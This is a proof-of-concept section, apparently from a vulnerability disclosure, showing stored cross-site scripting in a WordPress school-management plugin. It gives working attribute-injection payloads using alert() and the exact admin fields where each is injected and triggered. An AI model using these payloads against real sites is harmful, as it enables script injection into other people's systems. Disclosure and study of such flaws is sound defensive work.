    # PoC:  
    As admin,  
    - Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//  
    The XSS will be triggered when adding another teacher attendance by clicking on the Add button  
    - Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//  
    The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button  
    - Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//  
    The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)  
    - Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//  
    The XSS will be triggered when editing the Subject  
    - Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//  
    The XSS will be triggered when editing the Exam=20  
    Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.
